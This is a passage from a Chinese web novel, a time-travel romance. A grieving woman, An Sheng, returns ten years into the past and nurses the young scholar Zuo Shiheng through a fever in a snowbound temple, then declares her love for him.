这个名字似触发了记忆开关,安声猛地一颤,心脏似被尖锐贯穿,疼得浑身痉挛,以至于不得不蜷缩起来,大口喘息。 但没有用。 她张大了嘴,得不到丝毫缓解,她想要哭出来,却没有发出任何声音,只有豆大的泪珠滚滚涌出,决堤一般,让她不受控地发抖。 孟医生见状立即去引导她,舒缓她的情绪:“不要急……现在听着我的声音……慢慢呼吸……” 安声死死按住胸口,不住地发出抽气声,像是要将五脏六腑全部揉碎,每一个毛孔都在疼痛着。 “那只是一个梦,安声,你想一想……” “不……”她急切打断医生,睁大了蓄满泪的杏眼,“那不是梦……那不是梦!……” “怎么办……我要怎么办啊……”她躺在这张沙发椅上终于哭出了声,起先只是啜泣,很快转为大哭,痛哭,撕心裂肺。 孟医生坐在旁边,眼睁睁望着这个年轻女孩哭到几乎脱水晕厥,眼眶亦有些发红。 纵然她见过许许多多的患者,也从未感受过如此深切的悲伤,甚至只是来自于一段不存在的虚幻的梦境- 安声打开门,回到家中,打开了灯,又关上。 而后,虚脱地在黑暗里缩进沙发一角。 外面车来车往的声音被放大数倍灌进来,她想起那场车祸,想起那辆失控的大卡车。 她忽然赤脚踩在地板上,快步来到阳台。 推开窗,潮湿闷热的风涌了过来,似要将她溺毙在这个炎热的夏天。 她望向不远处的街道,路灯静静伫立,时不时有车驶过,卡车倒是不多,不过附近两百米,还有一座立交桥。 她闭上眼,任风将她的发汗湿在颈侧,几秒后,她关上了窗,将喧嚣隔绝在外。 医生开的安眠药她没再吃,在阳台枯坐了一整夜。 天亮后,她分别给父母打了电话,在之后几天和他们各吃了一顿饭。 父亲再见到她时似乎有些吓到,问她:“你怎么一下瘦这么多?上次听你妈说,你找了个什么心理医生,真的假的?到底怎么回事?我在网上搜了一下,可不便宜,你别被人给骗了……” 继母附和:“是啊,别看学历高,该骗还是得被骗,挣得多也没用啊。” 安声淡笑:“假的,没找,已经好了。” 临走时,她留下了两万块钱。 对父亲平静地说:“爸爸,就这样吧,我不想继续当你的女儿了。” 这天晚上,她又做了一个梦。 醒来后,安声卸载了所有社交软件,买了票坐车回了乡下。 她从老家小卖部里买了一袋子香烛纸钱和水果,独自一人去了冷清的墓园。 乡下的墓园是村里后来规划的,旁边都是菜地,不过夏日炎炎,除了鸟叫蝉鸣,一个人也没有。 外婆排在第一个。 安声蹲在墓碑前,点燃纸钱,香烛,静静凝视着那张两寸彩色照片。 照片上的老人看起来还很年轻,五十岁左右,满头黑发,笑容和蔼。 这是她的外婆。 父母离婚后,父亲很快再婚,外婆看不下去父亲的失责,将她接去抚养。外婆对她很好,是她生命中唯一的暖色。但在她高一下半学期时,她因病去世了。 后来,她高中住校两年半,大学住校四年,毕业工作租房独住两年,来来去去,始终是一个人。 过年过节,父母有时候会打电话问她去不去吃饭,她每次都去。 明知得不到,却还要渴望那一点家庭的温暖。 其实,她是不抗拒恋爱结婚的,相反,她甚至很渴望拥有一个自己的家。 但她并不会为此将就。 因为越是知道自己想要什么,才越谨慎,以免再次受到伤害。 出院最开始的那段时间,她总是做那些残破不堪的梦,偶尔记得几个片段。 梦里,她成婚生子,丈夫很好,孩子也很好。 那会儿她想,这应当只是她潜意识的投射吧,但没想到,她竟然真的曾拥有过那样巨大的幸福。 可幸福转瞬即逝。 或许,人的痛苦不在于无法得到,而在于得到后的失去。 左时珩他……承受了两次这样的痛苦,第二次更甚。 安和四年,她在离开之前,给他写了许多信,并告诉他,她会在安和九年再次回到他身边,这成了他的一点生念,让他强忍着病痛与思念折磨,等到了安和九年。 但在那场大雪中,她的消失是毫无预兆的。 她什么都没留下。 安声将最后一沓纸钱放入火中,火舌吞噬着,将一切化为灰烬。 热浪扑来,她手背被灼得发红,全身也被汗浸透了。 过了会儿,她起身,贴近墓碑,在外婆的遗照上亲吻了下,抬头望向万里无云的苍穹。 一阵风来,无数灰烬冉冉升起,散在空中,像一场黑色的雪,最终又落回墓前。 熄灭,渐冷,归于寂静。 烈日当空,蝉鸣不绝。 不见人影,杳无踪迹- 安和九年,除夕前日。 户部右侍郎申哲申大人半夜忽从梦中惊醒,坐了起来。 夫人察觉,惺忪问:“怎么了?” 申哲恍惚半晌,说道:“方才做了个梦,竟梦见左大人那位失踪的夫人安氏回来了。安夫人问我,左府何以缟素,我朝长街一指,说左大人病故,今日出殡,她久久不语。我正想问起她之前踪迹,转眼她便消失不见……你说奇也不奇?” 夫人叹了口气:“真是苦命鸳鸯啊……不过你定是日有所思夜有所梦了,别想太多,快些睡吧。” 第39章 相遇 “小孩!” “你是在叫我吗?” “是啊,我想问问,现在是安和几年?” “不曾听说过安和,现在是太永十七年。” “那你知道京城怎么走吗?” “看见那座山的轮廓了吗?那是云水山,越过云水山,就能远远看见京城了。” 安声道谢,在萧瑟的寒风里望着骑在牛背上的牧童远去。 人要如何在拥有巨大的幸福后,从容接受失去。 又要如何在相思入骨时,坦然释怀。 安声做不到。 若是她的一生可以选择结局的话,那她会选择与左时珩生死在同个世界。 当她开始出现这个强烈念头时,她便同时有了强烈的预感——这并非是他们的终点。 而天外山来客寺立石殿那块陨石上的刻字,也一再清晰浮现于她脑海中,向她证明——可以重来。 向外婆告别前一晚,她梦见了左时珩的结局。 满府缟素,魂旗翻飞,他长眠的那口黑色棺材,在漫天大雪中渐渐远去,化作天边的一个墨点。 她想起读过他的信,信中说,她的离开如同带走了他的魂魄,那时,安声立身在纷纷扬扬的大雪中,似乎所见漫天纸钱,无数哀哀哭声,也将她的魂魄,与左时珩的棺材一同埋葬了。 …… 安声搓了搓胳膊,冷得发抖,顶着寒风朝牧童所指方向快行。 前一刻她还在外婆墓前烧纸,被盛夏的烈日灼伤,未曾想到时空转换却将她送到了丘朝的冬日。 太永十七年,那岂不是,太永末年? 离安和九年冬还有十年。 她没记错的话,左时珩来年二月科考,一举折桂。 这年年底先皇病重,次年三月驾崩,二月东宫代天子主持殿试,三月灵前继位,四月改年号为安和,称安和元年。 天黑得很快,安声一边快速掠过无数关于丘朝的记忆,一边飞快赶路。人在跑起来时,才能勉强于这种天气抵御寒冷。 不知多久,她终于停下来,天色已快要完全黑了,难辨前路。 她于朦胧天边的一缕白中隐约窥见云水山的轮廓,仿若云烟迤逦。 望山跑死马。 且如今云水山中还没有那座左时珩的小屋。 她不能这样进山。 风开始刮,隐约飘起了雪。 若再这样待下去,她只怕会冻死在太永末年这个寒夜里。 但安声环顾四周,只有远处一点火光,明明灭灭,恍惚是座山野中的残破庙宇。 没有更好的选择,她提起一口气,在风雪中向着光亮狂奔- 风刮起来没有章法,四面八方地灌。 老乞丐搓了搓粗糙黝黑的手,将破败小庙里那用来挡风的木板再夯实了些,不过那扇木门摇摇欲坠,他暂时没什么办法了,只能天亮了再看看。 蹿进来的风小了些,点起的火堆总算稳住了。 两声低低咳嗽在庙里响起,老乞丐看过去,只见火堆旁拥衾卧着一个青年,露在外的脸上泛着不正常的潮红,嘴唇干燥紧抿,眉峰紧蹙,长长的睫毛在火光下投出颤动的阴影。 老乞丐叹了口气,看向那尊漆皮剥落的泥塑神像,喃喃道:“菩萨保佑,可别让人死在我这里了啊。” 他颤颤巍巍地坐了回去,紧了紧身上一层又一层破破烂烂的棉袄,蜷缩着在火堆不远处躺下,准备睡觉。 风雪愈发大了。 咚咚—— 隐约有敲门声传来。 老乞丐掀了掀眼,没管,荒野破庙,除了风雪与野兽,哪里还有人光顾。 陡然,那扇朽坏的庙门“砰”一下被用力撞开了! 狂风携漫天飞舞的雪一瞬间涌了进来,将火焰猛地扑灭,只余下微弱的红光倔强挣扎。 老乞丐被吓得一哆嗦,立时坐了起来。 “谁啊!” 昏暗不明的风雪冬夜,透进来一个女子纤细的影子,她扶着门框,剧烈喘着气,并未答话。 “你是什么人!”老乞丐又问了声,紧张地抄起木棍站了起来。 安声干咽了几下,压下喉中灼烧之感,喘息道:“……我不是坏人……外面太冷了……所以我……” 一听是个年轻姑娘的声音,老乞丐瞬间放了一多半的心,不过仍未放下手中的木棍。 “快快,快进来把门关上,火要灭了。” 安声忙应声进来,侧身将那半扇咯吱作响的木门用力掩上。 “合不拢的,那门早坏了。”老乞丐再次开口,语气听不出多少善意,但也并无恶意。 “不好意思,我……” 安声缓了下,找回知觉,先是注意到那堆快要熄灭的火,猜是自己方才用力开门导致的。 老乞丐摆了摆手,摸黑去角落捧了把木屑出来,倒在那微弱的红光上,很快,木屑燃起火光,照亮了这座破旧的小庙。 老乞丐趁机往里加了几根干柴,火燃得更旺了。 他瞥了安声一眼,愣了愣,有些奇怪:“你是什么人?怎么穿得跟山野精怪一样?” 安声还倚在门边,闻言下意识看向自己,她散着长发,穿着一身普通的蓝色长裙,披戴着捡来的一捆干草瑟瑟发抖。 她并未作答,而是借火光也看向老乞丐,同时注意到,这座小小的庙宇里,原来还有一人,那人似乎睡得沉,竟未被这样的动静吵醒。 “算了,这样的天,都不容易,过来烤烤火吧。”老乞丐起身重新躺了回去,闭眼,“小老儿我要睡了。” 安声道谢一声,正要抬脚,又听老乞丐提醒:“对了,那个人是进京赶考的书生,发着高烧,也不知道能不能撑过今晚,你要能照顾就照顾一下,万一死了也怪可怜的。” 安声怔了瞬,大步过去,不过一眼,被这寒夜冻住的血便似春雪消融,奔涌起来。 泪不受控地不停滑落,她褪去干草,扑着跪伏到火堆旁,伸手去触碰那熟悉的眉眼。 “左时珩……” 她低低轻唤,温柔如和煦的春风,怕惊扰了梦境。 老乞丐抬头,奇了句:“你认识啊?” 安声抬起头,已泪流满面。 她笑应:“嗯,我是他的妻子。” 老乞丐又嘀嘀咕咕了句什么,也不再问了,蒙头睡去。 夜色忽然安静下来,唯风雪在门外肆虐。 不过眼前火光灼灼,明亮温暖。 原来你在这里。 安声忍不住俯身吻他眉眼,将脸轻轻贴上去,眼泪无法遏制地淌落,侵湿干草,胸腔里的那颗心脏飞快跳动着,激动地几乎要迸出来。 失而复得,失而复得啊…… 再次起身时,她望向那尊模糊不清的神像,双手合十拜了下去,以额抵地,全身发颤。 不信有神,但,感谢上苍垂怜。 情绪舒缓下来,安声探了探左时珩的额头,果然高热,人已深陷昏睡,怪不得未被今夜动静吵醒。 她摸了摸盖在他身上的被子,很薄,也有些发潮,被子下无甚暖意,裹着一具微微发凉的身躯。 这样的冬日,断无外出寻医问药的可能,她只能靠自己。 安声又往火堆里添了柴,保证火光不熄,而后抬头看了眼,走向老乞丐那边,礼貌问:“老先生,能不能借用你的锅碗瓢盆?” 老乞丐没说话,含糊嗯了声,似是烦躁她打扰了睡意。 安声小声道谢,径直取了一个陶瓮去门外盛了满满积雪,置于火上融化加热,又将裙摆撕下来一块,在雪里一浸,叠起来敷在左时珩额上。 他轻哼了几声,大概烧得有些难受。 安声摸摸他脸,柔声安抚:“没事的,会好的。” 她的手早已冻僵了,此刻触摸着他,反倒让他觉得舒适,下意识地蹭了蹭。 安声笑了笑,温柔地用两只手捧住他脸,凑近了上去,凝视着那双好看的眉眼,双眸发亮:“才十九岁的左时珩啊……” 待瓮中的雪化了,水热起来,她舀了温水慢慢喂给他,然后又用找到的一方干净帕子湿了水,拧干,将他脸,脖颈,手足都擦拭了一遍。 最后扶他躺在自己怀里,紧紧抱着他,被衾拥着两人,借体温互相取暖。 做这些时,她已全然忘了自己的冷暖,直到此刻将他真实拥在怀里,她才长长松了口气,揉了揉冻僵的脸。 那个可怕的噩梦,正在离她远去。 安声一夜未睡,不敢让火熄灭,也观察着左时珩的状态,及时更换湿帕子,以便让他额上温度降下来。 借着火光,她久久望着左时珩这张清隽无双的年轻容颜,怎么也看不够,趁他人事不省,亦情不自禁亲了又亲,才勉强满足。 天蒙蒙亮时,安声有些昏昏欲睡,忽听他低咳了几声,睡意立刻惊走,抱着他拍了拍背。 火虽还未熄,却已只剩些炭火余温,她便又赶紧往里添了干草细柴。 老乞丐忽然出声:“一晚上把小老儿的柴都烧了,你得想办法赔我。” 安声愣了愣,笑道:“好,天亮后待我夫君情况好些,我就去捡柴。” 老乞丐咕哝了声,翻身继续睡。 这么一聊,安声彻底清醒了。 她低头看怀中依旧昏睡的左时珩,取下帕子,用额头贴了贴他的,没有昨晚那样热了,呼吸也平稳许多,果然还是退了些烧。 十九岁的左时珩远比十年后的他要健康许多,昨夜那样高烧不退,一夜过去,比她想象的恢复要快得多。 她给他喂了些水,扶他躺下睡好,给他盖了被子。 外头已经亮起来了,照见这座破庙的全貌。 她转头去看左时珩随身的物品。 他携带的东西不多,一个书箱,里面装了几本书,一本路引,几套单薄衣裳,一双旧鞋,一套笔墨纸砚,少量盘缠,再就是身上的冬衣以及薄旧的棉被,还有些七零八碎的东西。 这些皆收拾妥帖,整齐置于书箱中。 安声将他那些单薄旧衣层层全套在身上勉强御寒,他的衣服很大,即便叠穿了几层,她人也似在衣中晃。 她站起来,透过窗缝往窗外看了眼,外面风雪已停,雪积得厚厚的,天上云层稀薄,大约是个晴朗天气。 第40章 炽热 安声犹记得安和九年十一月初七,也是下了一夜的大雪,翌日她在雪中消失,去前连一句完整的话都未能留下。 后来那些支离破碎的梦境不断侵扰她,将她的意识一再投射到这个世界,她像一个影子,投石入湖都不会泛起涟漪的影子,作为这个世界的看客而存在,直到—— 直到左时珩身躯垂死之际,意识消散之前,越过了时空的视界,看见了不该存在的她,而她亦在这般刻骨的共鸣里拾回了安和九年所有的记忆。 但两个至爱的灵魂再次贴近后,迎来的却是死别。 安声呵着白汽,一脚踏入厚厚的积雪中,踉跄扑倒,她跌跌撞撞爬起来后,反倒笑了声,愉悦拍落身上的雪。 真好啊,她又见到左时珩了,若是为此她花光了全部运气,那她可以原谅所有倒霉的事。 至于为何她逆向来到了之前的时间线以及这次会走向何种结果,甚至是否要付出代价,她决定暂且抛之脑后。 庙外不远就有林子,奈何昨夜雪下得太厚,干柴实在不好捡,她几乎冻僵了,双脚失去知觉,手也通红,才抱着一捆半干不干的树枝回了破庙。 一推开门,便有两双眼齐齐朝她看来。 老乞丐似与左时珩交谈着什么,见状朝她努了努嘴:“喏,我说的就是她。” 昏睡了一夜,今早安声离开不久左时珩便慢慢醒了,他状态好了不少,强打精神坐起来准备去挖点雪回来烧水喝,一抬头见老乞丐坐在角落里直勾勾地盯着他。 他愣了下,朝他道谢:“昨夜承蒙老先生照顾。” 老乞丐嘿嘿一笑:“照顾你的可不是我,是个漂亮姑娘。” 这话说得荒诞不羁,左时珩略蹙眉。 他在这歇了几天,加上风寒,又耽搁两日,一直只有他与老乞丐二人,这荒野破庙,人烟绝迹,怎会有什么姑娘。 不过他迷迷糊糊中的确感觉到有人在照顾他,原烧了两天,寒意浸骨,浑身发冷生疼,昨夜却被一团温暖轻柔簇拥,渐渐舒适下来,难得好好睡了一觉,这才有了精神。 他还以为是老乞丐大发善心,谁知老乞丐否认了,又说得煞有介事,他说昨夜狂风大作,天降暴雪,一貌美女子破门而入,打扮怪异,行为怪异,一见他便泪落不止,称自己是他妻子,又是喂水,又是擦脸,守了他足足一夜,直到天明方才离去。 左时珩觉得更是荒唐了:“我不曾婚配,哪来什么妻子。” 老乞丐说:“难道是什么狐妖化形报恩?你们书生不是最喜欢写这种故事吗?” 左时珩:“……” 正当此时,安声抱柴而归,才见两人齐齐望向她,又听到了老乞丐那一句,猜到他大概是将昨夜的事告知了左时珩。 她将柴一丢,两步奔至他前,高兴又急切:“左时珩,你怎么样?感觉好些了吗?还有哪里不舒服?烧退了吗?让我看看……” 她伸手想去摸额头,左时珩却避开她,蹙眉打量,满眼惊疑不定。 “姑娘是谁?何以知晓我的名姓?又向外人谎称是我妻子?” 触到这完全陌生的目光,安声呆了片刻,那双杏眼中的明亮暗了些,慢慢退后半步。 “好,你别紧张,我现在不碰你,我先将火生起来,再回答你的问题,好吗?” 她深呼吸,红了眼眶,克制着不让自己失态:“你先……你先裹好被子,病还没好,不要再着凉了。” 她忙转过身背对着他,眼泪无声坠落,双肩耸了耸,掩饰般的抓起干草低下头去吹炭,不料一下烟起尘飞,反倒让她迷了眼,呛咳不止,涕泗横流。 老乞丐看在眼里,不由笑:“看来不是什么山野精怪,就是个小妮子啊。” 又向左时珩道:“多亏人家昨夜照顾你一整夜,不然你就冻死了,你一开口就把人弄哭,不厚道啊。” 左时珩怔了怔:“可我不曾说些什么……” 安声急促咳了一阵,他望着安声纤弱的背影,欲起身绕到其面前道歉,安声却蓦然回首望着他。 她眼眶微红,弯弯的睫上衔着露水,鹅蛋脸上也沾着炭灰,分明是狼狈且委屈的,却偏要蕴出笑,那笑也并非勉强,反倒像夜空的星子点缀其中,一时明媚生动起来。 “左时珩,我哭是这烟呛的而已。” 左时珩愣住,女子眉目如画,笑意温柔,竟一时让他将想说的话忘了去。 老乞丐从角落里捧了一把木屑过来:“生火也是有方法的,炭都快熄了,你直接对着它吹有什么用。” 他将木屑洒在炭上,取了根空心竹管对着一处吹,木屑易燃,很快,那处起了火光,开始燃烧,老乞丐便眼疾手快地用干草接上,再将干柴置于干草之上,待火势稳定,便哼了声,问安声。 “学会了?” “学会了。” “行,添柴吧,注意点火,这天冷成这样,一不小心就能死人。”他裹紧棉袄,拎着陶瓮出去,路过门时,又絮叨几句这门坏的还不知怎么修。 庙里余下二人,一时无比安静。 左时珩回过神,斟酌开口:“姑娘……” “我叫安声。”安声截断他的话,待火势稳定后,才转过身,抱着腿坐在他不远处烤火。 “左时珩,我叫安声。”她伏在膝上,转头望着他,笑意盈盈。 与十年后的左时珩相比,十九岁的他眉宇间多了几分尚未褪去的青涩与少年气,不过剑眉星目,依旧锐利清冷,只少了些岁月积淀的沉稳成熟。 之前她冻麻木了,这会儿往火堆前一坐,暖意袭来,毛孔中的寒气便密密麻麻地泛起,叫她打了个寒噤,更缩了缩。 左时珩见状皱眉:“你穿得太少了,还是坐近点吧,小心着凉。” 他转身欲从书箱翻几件衣裳出来,忽见书箱空了许多,不禁呆住。 气息靠近,安声已从善如流地坐了过来:“不好意思左时珩,未经允许,我将你的衣裳都穿在了身上。” 这时左时珩才认出她身上七扭八歪的衣裳,原来都是自己的,不过因宽大不合身,而被她层层叠叠乱系一通。 他一时不知说什么,又见她坐得这般近,惶恐失礼,便想起身让她。 安声一下按住被子两侧,动作犹如将他环抱住:“不要动来动去,被子一点热气都被赶跑了。” 着实离得太近,沁人的香气似从女孩散落的长发中透出来,步步侵蚀着他,他呼吸微滞,耳根泛起不正常的红晕,脸也偏向一侧。 “姑娘……” “叫我安声。”安声一字一顿反复强调,凑得更近,“左时珩……是安,声。” “姑……”左时珩唇瓣翕张,忽而顿住,因见他面前的这个女孩眉尖若蹙,一眨不眨地盯着他,眸中渐盈起点点泪光。 “……安声。”他叹了口气,略有几分无奈。 安声红着眼,慢慢扯了个笑,目光垂落,一滴泪随即掉下,她抬手拭去,低声道:“对不起,左时珩,是我太心急了。” 此时此刻,她才明白几分当初左时珩于云水山中见到她时的心情,难以想象他何以强大的隐忍与克制,才能抑住汪洋般澎湃的情感,分明爱她入骨,却仍能对她保持边界与尊重,不让她感到冒犯分毫。 她真的做不到。 她脑中时而浮现从前与他缠绵悱恻,耳鬓厮磨的情状,又时而浮现左时珩苍白孱弱,吐血不止的病容,实在心潮涨落,爱难自禁。 如今骤然失而复得,恨不得百倍千倍地与他亲近,才足以反复验证眼前的真实。 “安……安声姑娘。” 左时珩仍是无法直呼一个陌生姑娘的闺名,便折中了下,他略一犹豫,双手轻轻扶着她肩,将她往后稍稍推了些距离。 “昨夜是你照顾于我吗?” 安声抬眼直视他,点头,眼尾残红未散。 左时珩正色,忽而掀了被子站起,朝她拱手行一大礼:“承蒙姑娘照顾,救命之恩无以为报,左某定然……” “以身相许。” “……什么?”他疑似听错,下意识再问。 安声认真说:“救命之恩当以身相许。” 窗外雪色晴朗,她于天光下仰头望他,眉眼弯弯,笑容纯净,妍丽胜春。 左时珩似跌入她眸中一汪春水,恍失了神,才反应过来,不禁握拳低咳两声,转过脸去,耳根到面颊已红透了。 “左时珩……” “安声姑娘。”他深吸口气,缓了缓,而后转头一本正经对她道,“婚姻大事岂可轻许于人?” 许是立即意识到自己语气太重,便又蹲下,与她平视,温声劝慰:“安声姑娘,你我素不相识,互不了解,得蒙你救,我万分感激,必倾力报答。但婚姻大事不该作儿戏之言,尤其对女子来说,更是重中之重,你可明白?” 安声与他对视片刻,认真点头。 “我叫安声,二十四岁,生于二月初二,未婚未育,来自现代,父母离异再婚,我独身一人,来此寻你,还有什么要了解的?” 见他怔在原地,不知怎应,安声便又凑近些,身影清晰映于他那双好看的眼眸中,继续说下去。 “左时珩,生于原州会扬县盛康十一年腊月廿六,自小父母双亡,寄人篱下,虽然过得艰难,但他坚韧勇敢温文尔雅才貌双全心怀天下品志高洁……” 她双眸逐渐明亮,盛满柔情,竟一下忍不住,扑上去紧紧抱住他。 “我爱你左时珩,我爱你……我们成婚吧,我会对你很好很好的,我们在一起会很幸福很幸福的!”—— 作者有话说:明天加更[烟花]《 》 40-50 第41章 相处 太永十七年,十一月的冬日,一个女子扑进自己怀中,直白说爱他,要与他成婚。 这一瞬,左时珩疑心自己仍身处昨夜,坠在高烧时荒诞混沌的梦境里,否则怎会有如此不合逻辑的怪事。 可怀中这个纤弱的身躯又是如此真实,她温热的体温、轻柔的气息,甚至与他胸膛紧贴的心跳,都无孔不入地侵蚀着他的感官,这一切的发生,让他灵台空白许久,无法进行清醒的思考。 安声将左时珩抱得紧紧的,她知道这样做不太好,对如今的左时珩来说,甚至大约不会留下正面印象,但她仗着左时珩是个君子,不会真对她生气,便有些为所欲为了。 于是她耳畔又有一对天使恶魔说话。 恶魔说,别管好不好,不论什么手段,先把人搞到手再说。 天使说,祂说得对。 安声心想,既然天使恶魔都这么说了,那她也就放心了。 左时珩僵了半晌才回过神,不知所措:“你……” 安声娇蛮起来:“你不愿意吗?那你推开我,狠狠地推开我啊。” 这么说时,她加大了抱他的力度,整个人八爪鱼似的缠住他。 左时珩:“……” 她听见左时珩无奈地叹了口气,还是将她推开了,她忽略了男女力气的差异,他不需要“狠狠的”,几乎算是很轻松地就将她推开了。 “安声姑娘。”他皱眉,严肃,“男女有大防,不可如此。” “我偏要如此呢?” 安声直直迎着他的目光,眼神倔强。 “左时珩,昨夜你高烧昏睡,我什么都对你做过了,抱也抱过了,亲也亲过了,加上救命之恩,你要不要让我负责?” “……” “为什么用这个眼神看着我?你觉得我不知羞耻吗?你觉得我是个流氓吗?还是你瞧不起我?很讨厌我?你……” “安声姑娘。”他打断了她的话,语气认真,“请你莫要自贬,我并未瞧不起你,也并不讨厌你,但我的确觉得你的所作所为有些不合时宜,我虽不知你为何如此知悉我的情况,但于我而言,与姑娘乃是萍水相逢,一面之缘。救命之恩万分感激,但婚姻系此生大事,亦不该轻率作出决定……咳咳……” 或是情绪急切,他咳了起来。 安声叹了口气,忙在脸上揉搓几下,闷声道:“对不起,左时珩,我会冷静的……不会那么心急了,也不会气你了,你不要怕我。” “我没有怕你……咳……”他又咳了两声,声略沙哑,“你烤火暖一下,我出去挖点雪来烧水。” “你烧还没退呢。”她扯住他袖子,顺势站起来,“我去,我去。” 她快速拿了个缺口的碗奔出门外,扑面寒气瞬间回拢,将她方才的一点暖意与浮躁全带走了。 脚踩过门前的雪,咯吱作响。 安声冷静下来,心道,没错,她就是流氓就是无赖,难道面对左时珩,她还能做君子吗? 迅速取了干净的雪回来,左时珩已重新添了柴,火烧得旺旺的,又叠了被,被安声弄乱的一切,都被收拾齐整了。 他坐在火旁捧书,叠放的被子上是一件他脱下的旧棉衣。 安声快步过来:“怎么把衣服脱了?病还没好呢。” 他从安声手中接过那碗雪,架在炭上融化:“无妨,我已好许多了,何况这庙本就小,火烧起来便也不冷。” 顿了顿,才又道:“安声姑娘,裹上我的棉衣吧,你身上这些都是单薄旧衣,穿再多也不暖的。” 安声轻盈的目光从他一本正经的表情与发红的耳廓一掠而过,压住嘴角弧度,没有推辞,拿起他的棉衣穿上。 他的衣服很大,穿在身上如同被子一般,直接拖地了。 想了想,她坐到他对面去烤火,整个人全缩在这件已洗的发白但残余他体温的棉衣里,被一缕熟悉的白梅香笼罩,好暖和。 左时珩看了她一眼,没说话,继续捧起书。 她小声道:“左时珩,你读出来吧,让我也听一听。” 左时珩有些讶异,但并未拒绝。 他语速不疾不徐,嗓音温润,还携着一分病未好的鼻音,低沉富有磁性,十分的好听。 也好催眠—— 安声将脑袋埋进臂弯,听着听着,渐渐犯困。 再回丘朝前,她已几个月没睡好了,乍一来此,又是受冻又是狂奔,精力全凭一腔爱意维系,如今左时珩人已清醒,病也恢复不少,她心气便松懈大半,再一听着他的声音,闻着他的味道,哪里还抵得住。 迷迷糊糊中,她隐约听见左时珩问她要不要喝水,她头都没力气抬了,也不知自己回了什么,便坠入更深的梦境。 待老乞丐回来时,便见到这样的场景—— 安声裹着棉袄,蜷缩在左时珩原先睡的毯子上,盖着被子,而左时珩正半蹲着用湿帕子给她擦手。 他笑了声,将手中的陶瓮、野菜,以及一大捆干柴放下。 左时珩抬头,似怕他误会,十分认真地轻声解释:“她手冻伤了,这会儿热起来就发痒,若不及时处理,只怕要变得严重。” “我又没问。” 老乞丐将陶瓮置于火上,待雪化了,又将野菜丢进去煮,做完后,回到角落里坐下,摸出一截木头,打发时间般的削起来。 左时珩小心看了眼深睡的安声,耳后红晕仍未完全消散。 将安声的手擦净后,他从书箱里翻出一小瓶药膏,细致将她每一处冻红发紫的地方都涂上。 安声睡梦中哼哼唧唧,只觉痒得想去抓挠,被他伸手拦住,在伤处边缘摩挲了会儿替她缓解,见她不动才松开。 左时珩收回目光,落于火中,正心正念。 非常境地,自当以人为先,他心中坦荡,便无须受礼制约束,何况还有救命之恩在先。 这般想着,他心下略松。 瓮中菜汤咕噜咕噜冒起泡来,老乞丐过来舀了一碗,瞥了眼仍睡着的安声:“不把小姑娘叫醒吃点东西?” 左时珩犹豫了下,见安声睡颜恬静,便道:“让她再睡会儿吧。” 安声睡了许久,醒时不知何时,窗外雪光依旧,庙中无人,她茫然坐起,有些恍惚。 旧窗那半张用来挡风的木板被摆正了,原先摇摇欲坠的木门也被楔子固定住,风进不来。面前火光已熄,但炭依然燃着,小小的庙里温暖如春。 蓦然,门被轻轻推了开,她呆了呆,眼中惺忪褪去,扬起笑来:“左时珩!” 左时珩一愣,朝她点了点头,将门留了半道缝隙透气。 他走过来问:“饿了么?” 安声点头。 他坐下来重新生火,动作干净利落,很快火便重燃,他往洗净的陶瓮中重新加了水,野菜,然后擦了擦手,从包袱底摸出半块干硬烧饼,掰成小块丢进去。 安声静坐着,看他做事,火光在他脸上跳跃晃动,衬得他实在眉眼清朗,姿容无双,怎么都看不够。 许是她的目光太过直白,左时珩偶然瞥来一眼,与她碰上,便立即挪开,也未开口,只不受控地脸上漫出绯红。 不久,水沸腾起来,他从怀中摸出两个小小的鸟蛋,打碎蛋壳倒进去,香气立即发散。 待他盛了一碗递到安声面前时,安声虔诚道:“对不起小鸟,冤有头债有主,记得是我吃的你,不要去找左时珩的麻烦。” 左时珩微怔,随即忍俊不禁。 安声伸手去接,才注意到自己的手:“怎么肿起来了?” “因为冻伤了,不过我已替你上了药,睡前你再上一次。” 他将药膏放到她旁边。 “那你还给我上吗?” “你能自己上。” “我右手可以给左手上,左手不方便给右手上,而且你是这药膏的主人,你上的药它不敢不听。” “……”左时珩欲言又止,又忍不住笑,“什么歪理?” 安声捧着碗抿了口汤,热热的顺着喉管淌下,很是舒服。 “有一点不好喝,没味道。” 左时珩正要说些什么,安声问他:“你看我的手指像什么?” “……嗯?” “香肠,若是切下来一块煮,就能尝到荤腥了。” “……”左时珩抿唇,而后慢悠悠道,“我看,尝不到荤腥,倒能尝到血腥。” 安声看向他,两人视线一碰,更是忍不住笑意。 左时珩觉得,眼前这个奇怪的姑娘,真是想法奇绝,不同常人,不过……倒有些可爱。 老乞丐回来时,手里拎着条鱼,裤脚全湿了,又冻起来,邦邦硬,他先是对着修好的门嘟囔几句:“这不能修吗?之前不修。” 又哼哧哼哧地指使左时珩。 “杀鱼去。” 安声立即道:“我去。” 他便在门边丢下鱼,又丢了把有些钝了的小刀:“那你去。” 说罢深吸一口气:“怎么有鸡蛋味儿?好你个后生,还藏私啊。” 他走过来往锅里一瞅,更是哼道:“还有烧饼?昨天怎么不拿出来?” 左时珩有些尴尬,正欲解释,安声忙笑道:“老先生抓鱼辛苦,快请歇着。” 她将喝完的碗塞到左时珩手里:“我去杀鱼,把鱼也丢进去煮,这下真有荤腥了。” “我去吧。”左时珩道,“你的手不方便。” “没什么不方便的,我的手和我一样能干。” 安声笑了笑,拎着鱼和小刀就出去了。 她也没走远,就在庙旁未化的积雪上。出来后才注意到天色将暮,已能望见星星了。 寒风比她手中的刀还快,刮得她缩了缩玉颈,脸泛起生疼。 她握住刀把,手却像假肢似的,很难使上力气,加上刀又不快,便只得来回拉锯似的剖开鱼腹。 踩雪的沙沙声响起,安声转头,见左时珩身姿如竹,快步而来,而后俯身,一只修长的骨节分明的手伸到她面前。 “我来吧,你回庙里去,将手用热水泡一泡。” 从她手里接过刀,他在她身旁蹲下,开始刮去鳞片,清理内脏鱼鳃等。 寒风吹彻,他的脸略有些苍白,手也冻得红起来,不过依旧从容不迫,有条不紊。 安声飞快将手往雪里搓了搓,然后敞开宽大的棉衣从背后抱住他,将冷意隔绝在外。 左时珩神态一僵,动作一顿—— 安声伏在他耳畔道:“只有一件棉衣,若是因为我而让你病情加重,我会过意不去的。” 女孩的气息被体温蒸腾,簇拥着他。 左时珩垂眸低应了声,心不受控地跳得愈发快。 安声无法看见他眼底心绪,只往他身旁缩着,以便让二人距离更近,才能抵御寒冷。 不过鱼很快就处理好了,两人回到庙里时,老乞丐坐在火堆旁正昏昏欲睡,听见动静抬眼看了眼。 “出双入对的,我看你们就是小两口嘛。” 左时珩即道:“事关安声姑娘清誉,老先生不可妄言。” 老乞丐:“我看她挺乐意的,你不乐意?” 